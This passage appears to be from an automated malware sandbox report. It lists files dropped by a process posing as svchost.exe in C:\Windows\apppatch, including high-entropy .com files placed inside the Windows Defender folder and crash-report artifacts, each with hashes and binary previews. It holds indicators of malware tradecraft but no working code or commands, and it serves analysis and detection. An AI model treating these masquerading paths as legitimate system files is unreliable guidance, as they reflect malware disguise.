                                                                                                                                                                                                                    C:\Program Files (x86)\Windows Defender\pupydeq.com

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):114
                                                                                                                                                                                                                    Entropy (8bit):6.479691220248167
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:3:elfPZkATGqaNh/bf4/o/flD2qNJ5ZmANv:elfhkVNh/L4kl2qNJ5ZmAx
                                                                                                                                                                                                                    MD5:BFDE1E9E9C32C1681A16139450C6909D
                                                                                                                                                                                                                    SHA1:7E669B927E6A75A10A0CA29E38E58DDCB49B725E
                                                                                                                                                                                                                    SHA-256:E0D020BA1CB6506CEE234903A44C747EE0CFA7E2D1E60029E4CD8DE9A431512A
                                                                                                                                                                                                                    SHA-512:781FD54F155442DD34F9919B3CD063EE399DB411BBFE15F2BDC43D3AB8AC2D04E1011B2C99FAB42BEBF7B903A94E09AAAEF71B7A465D2D04B417F6DAD8E8E396
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:...[..A.9l.....|.e.&'.*.-K...P-.p.R...9L....%........'.=...bto2..X...f.....@pg.>..ac...69..z...}/<.MF9...h..

                                                                                                                                                                                                                    C:\Program Files (x86)\Windows Defender\puzylyp.com

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):59521
                                                                                                                                                                                                                    Entropy (8bit):7.972501400691378
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:1536:ZQimNJq4lkHqWmHwEyivDfOoG5tN06d+1d:ZRukFmHy4rG5tUd
                                                                                                                                                                                                                    MD5:491790D8998FA02D804B79D9545B9F63
                                                                                                                                                                                                                    SHA1:A6434AE4F384F8089FBB69A1C1F9A5C22A03905E
                                                                                                                                                                                                                    SHA-256:3097822A5CBF4C9707CFEFBEF5502E65EC2A98DE11BA274D0FBC6D0548513718
                                                                                                                                                                                                                    SHA-512:896A39C624F84DAC8DA3653779EDACBAB35FE1AFF42FA4682215847B373016F958436098AE853FCDA57A3DE7D28680A874CD3A33E45EE745360076B45AC472BF
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:...[..A.9l.....|.e.8w.!..1....j..r.^..r.....'..>....=.s.$$71...I...i.....==.7.rg~..j#.`S..y0,F..%....c...Kr).#FB...B...........H<*../.. ..>.Y......:X..G..4.j....{W.A. ........*.....6.P.Q..[).\.T...z.PK.n.P.2, ..CG..,...q..c....S.}.f..K..8...y=..+*...S.b..cAMN.a.U.q.c3.9^.hD.+..'.....-.....(t...|.....(.$.......`<..n..|A..7.W..W...u..(eX&....C8....(.'..V..O.......F...:ET;^.B..(.N*.:.a....n..........'A:..Q.!j..J.m.=.^.-=-.....*..>..bvF..K.H....8.9...g?=+..D.....9@...'ON.G'.J./....P..x.UGRWH.{8...u......jY(h..7..V.......i(..|...,..|;.e.+<;...l..I..,.Kf^....$.&.$.|7....h..6Rn..+z.~/4W(......f.P..R6.....[a.~.h.+.u.[...sO.(Fzy.;.....<...A..@..N...<. ..Z... .g.+....p.(........#....r6.. Eo....3......jIg}.....z_..)'+....p............P?..h1..x.Nk.....M...Z.......0+.Yf.+.O.M..&V...X.fofX...wt.L#.R..h...z.....,../......m'..dsn\........V..4Eq....w....7.M.~ ...d.]ij.........1..\.....:.+y..).........O.,..v..C.EH.C.cI.3.:...7=PM.6.....C .d..

                                                                                                                                                                                                                    C:\Program Files (x86)\Windows Defender\qetyhyg.com

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):593
                                                                                                                                                                                                                    Entropy (8bit):7.626935561277827
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:12:NXnYWSLEmM3e7/EzZUimtdHCD6B+HAwQ0m7xs01O58/fTU6i0rSZd09LQ:FYWSLdM3CENUJtd85IsWO58NGd09k
                                                                                                                                                                                                                    MD5:926512864979BC27CF187F1DE3F57AFF
                                                                                                                                                                                                                    SHA1:ACDEB9D6187932613C7FA08EAF28F0CD8116F4B5
                                                                                                                                                                                                                    SHA-256:B3E893A653EC06C05EE90F2F6E98CC052A92F6616D7CCA8C416420E178DCC73F
                                                                                                                                                                                                                    SHA-512:F6F9FD3CA9305BEC879CFCD38E64111A18E65E30D25C49E9F2CD546CBAB9B2DCD03ECA81952F6B77C0EAAB20192EF7BEF0D8D434F6F371811929E75F8620633B
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:....tp.-$|e.V...(.m.y;.;..>...O`.<.]..&@...0..P....:.(...{i1r....H...i......=$.<.v&1...%e..r..(}b;.U...A.f..K8S.9IM.R.....!.._.....N':.. ..s..!IX..ZK..q..T..v.%.....0...fn.........b...../...\..O8....M...i.ZF.r.C.)~qO..T..{...x..g.......$.t.m;..|.R.33...; ...N.#..rN.A.c.D.w.?0.%D.i..1...5..[.,......ir.Z.`.....+.8..Y.....'>./l..qZ..#1F..F...=./,.&.....e.Q..$.mZZAZ........P...=T.u.H]^n|..h_s.n....r..I..U.T..%N$.B..jj.\..*...Z.';-.....5...#..u.P..k...\..:.'..l8n<C.s.SJ..4....%OE.L2..Ir....U...d.CP....m<.TG?.u..iLj*....H.H...?G..*O..tE..9..%.<+<......_.w..*S....

                                                                                                                                                                                                                    C:\Program Files (x86)\Windows Defender\qexyhuv.com

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):114
                                                                                                                                                                                                                    Entropy (8bit):6.479691220248167
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:3:elfPZkATGqaNh/bf4/o/flD2qNJ5ZmANv:elfhkVNh/L4kl2qNJ5ZmAx
                                                                                                                                                                                                                    MD5:BFDE1E9E9C32C1681A16139450C6909D
                                                                                                                                                                                                                    SHA1:7E669B927E6A75A10A0CA29E38E58DDCB49B725E
                                                                                                                                                                                                                    SHA-256:E0D020BA1CB6506CEE234903A44C747EE0CFA7E2D1E60029E4CD8DE9A431512A
                                                                                                                                                                                                                    SHA-512:781FD54F155442DD34F9919B3CD063EE399DB411BBFE15F2BDC43D3AB8AC2D04E1011B2C99FAB42BEBF7B903A94E09AAAEF71B7A465D2D04B417F6DAD8E8E396
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:...[..A.9l.....|.e.&'.*.-K...P-.p.R...9L....%........'.=...bto2..X...f.....@pg.>..ac...69..z...}/<.MF9...h..

                                                                                                                                                                                                                    C:\Program Files (x86)\Windows Defender\vofycot.com

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):25028
                                                                                                                                                                                                                    Entropy (8bit):7.980127767187921
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:768:n4ak8nl3r9HtbzJjj4X/KmjjWk5rSV4Z8tPzh3XCV5:4JElb9Hb4X/KUjWKW4S8P
                                                                                                                                                                                                                    MD5:980FF5B3E60CD548B56B0DCD7F83DA00
                                                                                                                                                                                                                    SHA1:01A90F6AD404C4C571BA8A107BA7BC0E0CE4E67A
                                                                                                                                                                                                                    SHA-256:98F3DE353C61E3B89885009FFFF3DB147710557EA21DC68C989BF09359741352
                                                                                                                                                                                                                    SHA-512:7DADEC8EF7EBC0F09370A24CA8E033D8C40F9DBF835EAE3CB678A623B0E79525C3421793365000EC769ECDEA6184D0AF308819CEF80A2BE0F96599500EB0506B
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:...[..A.9l.....|.e.8w.!..1.....9.:....".....=..9.......z...}yE.....j...I.....<.&.3.l6g...q...d^.X.K6.g`a..;.F.2Sdo.}8..U.g;...H.L.....A.....y.....v.[..K'..."..r..Z2r.....%g..)6....8..K.L....E.1..i/.P..H...k>z.._..6._1P.K...d'..A.OF.X].7....>.rX..0|G.88..`r..Y.p..c....p.D.l.n .)..%..l...p.....a......h...e....g.<.......;). ?..zI..kW.......&.. :.>.....tW..j:.".........T...M... X.;.TB.'s.^vC>.:.....=..R..VZ..%.k..].>w..O.;.a.R.!-<.....$...$..f4...G.C..R.w.....dyn:....BD..aZ...v.G.C#...l......w.TW.RO.k<.KA.....'./d.. ....H......am.J*...|..d|..|.9 6...x......0.Ww.....l.h.j.m-...~..+.#..v{.*!r.=..^....{.M..H....<?.v.1.h.b.x......n+V#Jo-.6..D._-...SZ....I...~.o..I...;.u.*....n.+.......+FA..mc....:Im.S..8..>....d.Id......zK..qtqH...;..........Z..V/..e9..r..Qw.....k\......M.f#.Xi.D.M....t....RWf&hV...in.Lk...=....x....l.........m&..A(t.............dGs....`....).A.w}..I6..=p.........r..R......s.!%C.;........z...[.Z.....Z.e..).(...#/.G.c......Z(.c..

                                                                                                                                                                                                                    C:\Program Files (x86)\Windows Defender\vojyqem.com

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):1094
                                                                                                                                                                                                                    Entropy (8bit):7.847831227025619
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:24:IZsdS4WMBLdxezuQj1kZ8l9KfPqiHxSCkTXRUubjyU:QsSixez1Rg8yeCkTXRdjyU
                                                                                                                                                                                                                    MD5:9AF42CC65FCDE8CC84DBB74E451B9193
                                                                                                                                                                                                                    SHA1:745D6FB589B60303F75993F0C8B75DE39AFB0FDC
                                                                                                                                                                                                                    SHA-256:7D14A907131D4EA5E32DC41F8AE371457C33B06C255C159A80ECA503F5DDF60F
                                                                                                                                                                                                                    SHA-512:DD7F31218C1BFA8480116A66FB40838FD9147C11C44E8BA36F13A7F2814AD4CAAF3C2B297403DCF27EF1313BE7F5DFA76CDBD398948FAA7D8633C0CB5684F6D7
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:...{:.a)9l.....(.|.t;....>....V>.%.B...........%$......P...J^X*..q....z...<.%...U<e..U9.y".[.F7..r5....=.;ZO..*./.......%....}..~:...3;.s...s/2../....2.f..F%H.....uJ.".e.....-.....,....U....L../..~...S$.%.TXC. evx.....t0..e.z=...P....(.r..`..~...}t...0l...D.).Ju.X..c.B.|.lv....5h.:...}...."..R.|g...?.....).2A......op.,8..{Z..7..O.....i..-7.:....[`Q..Pb.(.....L......L...5]W&X...s6..B_s.n......r..._.EZ...m.a._..+>.FO...9.G./u;G..\.`.....7.v..g g./.._.`...H.\.".;x2#..Uj..U.g.c..-@.....O...9..+gn..~y.Asx.>......^..w..+.J.....8!.WaO.0Q.xk..e.1<6...s..[...=.Rv..@...b.i.-.mp....+..x.#..p~.4D(.!.......r..y.B6.....p.c.b.+.e.L....!.E/N;3.x...P=........R..... ..X.-..s. .&.._6z....^.......d..|....*.2.9....'.....=|p.....CW..MaM....."..........\...8...).9>.6..;R*..|........|.N>.,...K.. s...U9}<g....p5..).B..W...f..S...1.[...J....ohU..........#..lk]...v....|...^L..!^..0@.........$.........R.rGY.{.........O4..Y.[2....Q.c..;..... Z.C.`.......=.c..

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_OCYLlGeNBSaNBJKo_aeab92256327e626e881f535aeb297cd4aa4a16_27470155_5348e07f-dd11-499a-91dd-e1752f554677\Report.wer

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):65536
                                                                                                                                                                                                                    Entropy (8bit):1.0309408904530821
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:192:jWkeJF4hJQ0BU/smujRJkfTzuiFNZ24IO89Bm:jThVBU/ojPCzuiFNY4IO8a
                                                                                                                                                                                                                    MD5:0E4DEE5E6665EE7C31EC03B01B30CBA0
                                                                                                                                                                                                                    SHA1:94B2A6CC7F9544EF1FAF9396F23251026F970556
                                                                                                                                                                                                                    SHA-256:9D0971B7AAC35B8521D1744C4B6ACE52631CB0D86A8A95D3323D4846391BFC7E
                                                                                                                                                                                                                    SHA-512:09CCF22AFB3B98A50F4629F70C21F06C399701F018F0EFB3327043824246257A9A2988730369EDFA75E89328F386A8AE5310D6B735D1E8D6F956271117FD65A8
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.2.0.9.3.4.3.3.7.2.0.7.7.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.2.0.9.3.6.8.2.1.5.8.5.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.3.4.8.e.0.7.f.-.d.d.1.1.-.4.9.9.a.-.9.1.d.d.-.e.1.7.5.2.f.5.5.4.6.7.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.0.a.9.5.5.1.b.-.4.f.5.7.-.4.7.b.f.-.a.d.9.8.-.7.e.a.8.8.e.8.9.4.e.a.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.O.C.Y.L.l.G.e.N.B.S.a.N.B.J.K.o.n.Q.X.w.v.P.U.V.f.z.u.X...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.0.0.-.0.0.0.1.-.0.0.1.4.-.2.0.6.1.-.0.7.e.1.6.1.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.d.1.0.0.0.9.9.3.7.2.3.1.2.8.b.c.0.1.e.5.c.d.c.9.c.c.1.4.0.9.b.d.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.O.C.Y.L.l.G.e.

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_OCYLlGeNBSaNBJKo_aeab92256327e626e881f535aeb297cd4aa4a16_27470155_742b6e02-a481-48f2-aaeb-7e70455146ba\Report.wer

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                    Category:modified
                                                                                                                                                                                                                    Size (bytes):65536
                                                                                                                                                                                                                    Entropy (8bit):1.0310551751356172
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:192:+TipeJF4gJQ0BU/smujRJkfTzuiF8Z24IO89Bm:PTgVBU/ojPCzuiF8Y4IO8a
                                                                                                                                                                                                                    MD5:C1F897D93B65EDBF7468B175442E7995
                                                                                                                                                                                                                    SHA1:13DBDFE4E9FB7681F517FB40E7630DFAFE91ACA8
                                                                                                                                                                                                                    SHA-256:ED5331C87C999EFA31552C7CB967DE8AF6CF2742B629DD62E9C6DE4AAC7AB786
                                                                                                                                                                                                                    SHA-512:1B50C09E40ADA49FB32C7B4FAC37BF012E3E29BE6CE900B1ED4696EFFB61BA7649D7893F6877B575267DBF99B30DC1E871E3936C30C5A11C553E1624F136196D
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.2.0.9.3.3.7.7.5.9.1.5.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.2.0.9.3.6.2.7.5.9.2.0.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.4.2.b.6.e.0.2.-.a.4.8.1.-.4.8.f.2.-.a.a.e.b.-.7.e.7.0.4.5.5.1.4.6.b.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.f.8.9.9.5.9.2.-.f.1.d.9.-.4.6.c.1.-.9.e.5.c.-.b.2.0.5.b.3.c.7.8.f.3.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.O.C.Y.L.l.G.e.N.B.S.a.N.B.J.K.o.n.Q.X.w.v.P.U.V.f.z.u.X...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.f.4.-.0.0.0.1.-.0.0.1.4.-.2.4.0.0.-.0.9.e.1.6.1.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.d.1.0.0.0.9.9.3.7.2.3.1.2.8.b.c.0.1.e.5.c.d.c.9.c.c.1.4.0.9.b.d.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.O.C.Y.L.l.G.e.

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_OCYLlGeNBSaNBJKo_aeab92256327e626e881f535aeb297cd4aa4a16_27470155_7c05c1b0-ee31-42a2-9d1c-93c8764e3840\Report.wer

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):65536
                                                                                                                                                                                                                    Entropy (8bit):0.9850277809249662
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:192:gqGJ/FLdeJF4kJQ0BU/smujRJkxzuiF8Z24IO89Bm:gLdZTkVBU/ojP4zuiF8Y4IO8a
                                                                                                                                                                                                                    MD5:DBFD555EB436BFBC81813E5EC5A39D1E
                                                                                                                                                                                                                    SHA1:F91BC61B319F22EB602409344D9E1068C27E8D7E
                                                                                                                                                                                                                    SHA-256:DA4BBA9E5808663FFF3D457AFE2585FE17937A07B05AFD455E084666FD05CCAB
                                                                                                                                                                                                                    SHA-512:8C65A6AABDC5D3099CD5C4ED2E65B330DFE639DD82336EF49ADD06D4267D7D5992DCAB066EC8E4FB9F526D0D3BA9C26886962A2342924ED32D6183A217E38ACA
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.2.0.9.3.6.1.8.6.8.3.5.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.2.0.9.3.6.9.6.8.0.9.7.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.c.0.5.c.1.b.0.-.e.e.3.1.-.4.2.a.2.-.9.d.1.c.-.9.3.c.8.7.6.4.e.3.8.4.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.e.f.e.8.5.9.0.-.1.f.7.3.-.4.8.9.7.-.8.5.a.6.-.5.3.f.8.9.d.b.4.e.5.4.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.O.C.Y.L.l.G.e.N.B.S.a.N.B.J.K.o.n.Q.X.w.v.P.U.V.f.z.u.X...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.f.8.-.0.0.0.1.-.0.0.1.4.-.0.f.0.d.-.0.6.e.1.6.1.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.d.1.0.0.0.9.9.3.7.2.3.1.2.8.b.c.0.1.e.5.c.d.c.9.c.c.1.4.0.9.b.d.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.O.C.Y.L.l.G.e.

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_OCYLlGeNBSaNBJKo_aeab92256327e626e881f535aeb297cd4aa4a16_27470155_f058810c-d368-4343-8157-85e99720262e\Report.wer

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):65536
                                                                                                                                                                                                                    Entropy (8bit):1.0309384166081366
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:192:dLOueJF43JQ0BU/smujRJkPTzuiF8Z24IO89BmW:xpT3VBU/ojPyzuiF8Y4IO8a
                                                                                                                                                                                                                    MD5:ECF61B6B7E44E2038B520564CC5623FD
                                                                                                                                                                                                                    SHA1:20BC57BEBBC92C9ADB4013725B5CA08238D3EE18
                                                                                                                                                                                                                    SHA-256:BF1FBD70B39EC5E163B9480724897332FF1E64C8167621BFEDC10D16B48ED228
                                                                                                                                                                                                                    SHA-512:DD38EDA0314680433A9787663D06A7AE67A06E72236599EF7A12F0654999D2DF6A4FFD34C2740E26062F1F590618FB73D24C9D4E5919AA98E54EB125456ECCF7
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.8.2.0.9.3.7.9.1.1.0.4.8.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.8.2.0.9.3.9.7.3.9.1.6.9.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.0.5.8.8.1.0.c.-.d.3.6.8.-.4.3.4.3.-.8.1.5.7.-.8.5.e.9.9.7.2.0.2.6.2.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.1.a.2.a.9.2.c.-.5.8.b.6.-.4.4.c.d.-.8.3.3.6.-.5.7.0.d.d.f.3.9.6.c.4.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.O.C.Y.L.l.G.e.N.B.S.a.N.B.J.K.o.n.Q.X.w.v.P.U.V.f.z.u.X...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.c.0.-.0.0.0.1.-.0.0.1.4.-.2.c.4.2.-.0.3.e.1.6.1.3.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.d.1.0.0.0.9.9.3.7.2.3.1.2.8.b.c.0.1.e.5.c.d.c.9.c.c.1.4.0.9.b.d.0.0.0.0.f.f.f.f.!.0.0.0.0.5.5.3.6.b.7.5.3.2.4.0.0.b.a.f.2.7.b.e.b.2.b.f.d.4.2.5.1.5.9.2.6.4.a.d.7.1.1.3.6.!.O.C.Y.L.l.G.e.

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER128D.tmp.dmp

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:Mini DuMP crash report, 14 streams, Mon Nov 11 17:48:58 2024, 0x1205a4 type
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):991940
                                                                                                                                                                                                                    Entropy (8bit):1.7002211608787081
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:6144:xlrX7sEr/LZZOZ6xhx0PmDtrWMVsFgTjJ6gDTifj3fMtGsGpOFGxOhJX302FRzmt:xlEsA/+fjvi/
                                                                                                                                                                                                                    MD5:B8C8E8CE20E4DA675AE5E48877F177D4
                                                                                                                                                                                                                    SHA1:D3164BB3749045692DEF1521FD96247AE97AEF9B
                                                                                                                                                                                                                    SHA-256:165EBCACC5EE0AB0A1C7808FCB6A7E1909CC9D9DE2919173D37585F7CA82E6B4
                                                                                                                                                                                                                    SHA-512:A79C39B38A732DD70E1D20C361F54D9AD70BCE32154F5F8FE6E0D1E0738BC1E685A96BF14A777FD81E7BFD78AA12A60686337CE14E111141BBB4ABB816EE37C8
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:MDMP..a..... ........C2g............D...............L.......$0...k..........T.......8...........T............r..............2...........4..............................................................................eJ.......4......GenuineIntel............T...........\C2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER17BE.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):8438
                                                                                                                                                                                                                    Entropy (8bit):3.713345364171247
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:192:R6l7wVeJ0dFf6e6Y9cSUEUgmf3qSpr389bgFsfQjgm:R6lXJU6e6YGSUEUgmf6PgefQx
                                                                                                                                                                                                                    MD5:F66C552C4F095CF5BBD8B4640B3A283A
                                                                                                                                                                                                                    SHA1:F5F4A60F5B6A0A995734310918A3F350DD91641C
                                                                                                                                                                                                                    SHA-256:36DC17E08444709D0909B9276ED2AF466FFE808875CA854BC4084CC458D4846A
                                                                                                                                                                                                                    SHA-512:F9D4C37B41FBEE7A85E220BF3899A5113B88F0D00D2AC0AE96E801D02B31CAB9C3C315A30F084FE9465694A9EB2654250EDD340F2225F04F9F2D81035FC29A5C
                                                                                                                                                                                                                    Malicious:false
